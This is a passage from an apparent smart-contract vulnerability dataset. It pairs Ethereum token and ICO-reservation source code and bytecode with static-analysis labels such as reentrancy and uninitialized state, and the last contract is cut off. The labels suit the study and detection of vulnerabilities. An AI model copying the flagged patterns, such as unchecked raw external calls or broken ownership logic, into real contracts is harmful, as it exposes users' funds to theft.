4648926004808301939192829003018186803b15801561116357600080fd5b505afa158015611177573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119b91906116ef565b816001815181106111bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e29130911684610ba6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121b90859060009086903090429060040161197a565b600060405180830381600087803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fbc8383836112ce565b60008060006112766113c5565b9092509050611285828261128c565b9250505090565b60006110b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b6000806000806000806112e087611433565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113129087611490565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134190866114d2565b6001600160a01b03891660009081526002602052604090205561136381611531565b61136d848361157b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b291815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e0828261128c565b8210156113fc57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114265760405162461bcd60e51b815260040161044291906118f2565b506000610ff28486611a02565b60008060008060008060008060006114508a600954600a5461159f565b9250925092506000611460611269565b905060008060006114738e8787876115f4565b919e509c509a509598509396509194505050505091939550919395565b60006110b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc1565b6000806114df83856119ea565b9050838110156110b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b600061153b611269565b905060006115498383611644565b3060009081526002602052604090205490915061156690826114d2565b30600090815260026020526040902055505050565b6007546115889083611490565b60075560085461159890826114d2565b6008555050565b60008080806115b960646115b38989611644565b9061128c565b905060006115cc60646115b38a89611644565b905060006115e4826115de8b86611490565b90611490565b9992985090965090945050505050565b60008080806116038886611644565b905060006116118887611644565b9050600061161f8888611644565b90506000611631826115de8686611490565b939b939a50919850919650505050505050565b6000826116535750600061047a565b600061165f8385611a22565b90508261166c8583611a02565b146110b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b80356116ce81611a9f565b919050565b6000602082840312156116e4578081fd5b81356110b281611a9f565b600060208284031215611700578081fd5b81516110b281611a9f565b6000806040838503121561171d578081fd5b823561172881611a9f565b9150602083013561173881611a9f565b809150509250929050565b600080600060608486031215611757578081fd5b833561176281611a9f565b9250602084013561177281611a9f565b929592945050506040919091013590565b60008060408385031215611795578182fd5b82356117a081611a9f565b946020939093013593505050565b600060208083850312156117c0578182fd5b823567ffffffffffffffff808211156117d7578384fd5b818501915085601f8301126117ea578384fd5b8135818111156117fc576117fc611a89565b8060051b604051601f19603f8301168101818110858211171561182157611821611a89565b604052828152858101935084860182860187018a101561183f578788fd5b8795505b8386101561186857611854816116c3565b855260019590950194938601938601611843565b5098975050505050505050565b600060208284031215611886578081fd5b81356110b281611ab4565b6000602082840312156118a2578081fd5b81516110b281611ab4565b6000602082840312156118be578081fd5b5035919050565b6000806000606084860312156118d9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191e57858101830151858201604001528201611902565b8181111561192f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c95784516001600160a01b0316835293830193918301916001016119a4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fd576119fd611a73565b500190565b600082611a1d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3c57611a3c611a73565b500290565b600082821015611a5357611a53611a73565b500390565b6000600019821415611a6c57611a6c611a73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bf57600080fd5b80151581146104bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047059bbdaee4097f4f300eb88f90b3c4fcf5ded4f6fd4ce1192676db124fa79164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,830 |
0x1afb62c205d00ddc204a1b0bed31bda417b33a6c | pragma solidity ^0.4.16;
// GREEN ECO TOKEN Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// GREEN ECO TOKEN Symbol: GET
contract GREENECOToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* GREEN ECO TOKEN Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract GETStandardToken is GREENECOToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GREENECO is GETStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 76 * (10**7) * 10**8 ; // 760 million tokens, 8 decimal places
string constant public name = "GREEN ECO TOKEN";
string constant public symbol = "GET";
function GREENECO(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e6114fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115ab565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d1565b005b6040805190810160405280600f81526020017f475245454e2045434f20544f4b454e000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f474554000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156114f357600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160757600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a55780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c05750828110155b15156117c857fe5b8091505092915050565b60008282111515156117e057fe5b8183039050929150505600a165627a7a723058207a7e036a77ea7e594662ee2e55e771524a16393b9e7a296e245b119fdb4f16a60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 9,831 |
0x3b9325a9b3a2c4b5e8c28652071926384b9da570 | /*
8888888 .d8888b. .d88888b. .d8888b. 888 888 888
888 d88P Y88b d88P" "Y88b d88P Y88b 888 888 888
888 888 888 888 888 Y88b. 888 888 888
888 888 888 888 "Y888b. 888888 8888b. 888d888 888888 .d8888b 88888b.
888 888 888 888 "Y88b. 888 "88b 888P" 888 d88P" 888 "88b
888 888 888 888 888 "888 888 .d888888 888 888 888 888 888
888 Y88b d88P Y88b. .d88P Y88b d88P Y88b. 888 888 888 Y88b. d8b Y88b. 888 888
8888888 "Y8888P" "Y88888P" "Y8888P" "Y888 "Y888888 888 "Y888 Y8P "Y8888P 888 888
Rocket startup for your ICO
The innovative platform to create your initial coin offering (ICO) simply, safely and professionally.
All the services your project needs: KYC, AI Audit, Smart contract wizard, Legal template,
Master Nodes management, on a single SaaS platform!
*/
pragma solidity ^0.4.21;
// File: contracts\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\ICOStartReservation.sol
contract ICOStartSaleInterface {
ERC20 public token;
}
contract ICOStartReservation is Pausable {
using SafeMath for uint256;
ICOStartSaleInterface public sale;
uint256 public cap;
uint8 public feePerc;
address public manager;
mapping(address => uint256) public deposits;
uint256 public weiCollected;
uint256 public tokensReceived;
bool public canceled;
bool public paid;
event Deposited(address indexed depositor, uint256 amount);
event Withdrawn(address indexed beneficiary, uint256 amount);
event Paid(uint256 netAmount, uint256 fee);
event Canceled();
function ICOStartReservation(ICOStartSaleInterface _sale, uint256 _cap, uint8 _feePerc, address _manager) public {
require(_sale != (address(0)));
require(_cap != 0);
require(_feePerc >= 0);
if (_feePerc != 0) {
require(_manager != 0x0);
}
sale = _sale;
cap = _cap;
feePerc = _feePerc;
manager = _manager;
}
/**
* @dev Modifier to make a function callable only when the contract is accepting
* deposits.
*/
modifier whenOpen() {
require(isOpen());
_;
}
/**
* @dev Modifier to make a function callable only if the reservation was not canceled.
*/
modifier whenNotCanceled() {
require(!canceled);
_;
}
/**
* @dev Modifier to make a function callable only if the reservation was canceled.
*/
modifier whenCanceled() {
require(canceled);
_;
}
/**
* @dev Modifier to make a function callable only if the reservation was not yet paid.
*/
modifier whenNotPaid() {
require(!paid);
_;
}
/**
* @dev Modifier to make a function callable only if the reservation was paid.
*/
modifier whenPaid() {
require(paid);
_;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiCollected >= cap;
}
/**
* @dev A reference to the sale's token contract.
* @return The token contract.
*/
function getToken() public view returns (ERC20) {
return sale.token();
}
/**
* @dev Modifier to make a function callable only when the contract is accepting
* deposits.
*/
function isOpen() public view returns (bool) {
return !paused && !capReached() && !canceled && !paid;
}
/**
* @dev Shortcut for deposit() and claimTokens() functions.
* Send 0 to claim, any other value to deposit.
*/
function () external payable {
if (msg.value == 0) {
claimTokens(msg.sender);
} else {
deposit(msg.sender);
}
}
/**
* @dev Deposit ethers in the contract keeping track of the sender.
* @param _depositor Address performing the purchase
*/
function deposit(address _depositor) public whenOpen payable {
require(_depositor != address(0));
require(weiCollected.add(msg.value) <= cap);
deposits[_depositor] = deposits[_depositor].add(msg.value);
weiCollected = weiCollected.add(msg.value);
emit Deposited(_depositor, msg.value);
}
/**
* @dev Allows the owner to cancel the reservation thus enabling withdraws.
* Contract must first be paused so we are sure we are not accepting deposits.
*/
function cancel() public onlyOwner whenPaused whenNotPaid {
canceled = true;
}
/**
* @dev Allows the owner to cancel the reservation thus enabling withdraws.
* Contract must first be paused so we are sure we are not accepting deposits.
*/
function pay() public onlyOwner whenNotCanceled {
require(weiCollected > 0);
uint256 fee;
uint256 netAmount;
(fee, netAmount) = _getFeeAndNetAmount(weiCollected);
require(address(sale).call.value(netAmount)(this));
tokensReceived = getToken().balanceOf(this);
if (fee != 0) {
manager.transfer(fee);
}
paid = true;
emit Paid(netAmount, fee);
}
/**
* @dev Allows a depositor to withdraw his contribution if the reservation was canceled.
*/
function withdraw() public whenCanceled {
uint256 depositAmount = deposits[msg.sender];
require(depositAmount != 0);
deposits[msg.sender] = 0;
weiCollected = weiCollected.sub(depositAmount);
msg.sender.transfer(depositAmount);
emit Withdrawn(msg.sender, depositAmount);
}
/**
* @dev After the reservation is paid, transfers tokens from the contract to the
* specified address (which must have deposited ethers earlier).
* @param _beneficiary Address that will receive the tokens.
*/
function claimTokens(address _beneficiary) public whenPaid {
require(_beneficiary != address(0));
uint256 depositAmount = deposits[_beneficiary];
if (depositAmount != 0) {
uint256 tokens = tokensReceived.mul(depositAmount).div(weiCollected);
assert(tokens != 0);
deposits[_beneficiary] = 0;
getToken().transfer(_beneficiary, tokens);
}
}
/**
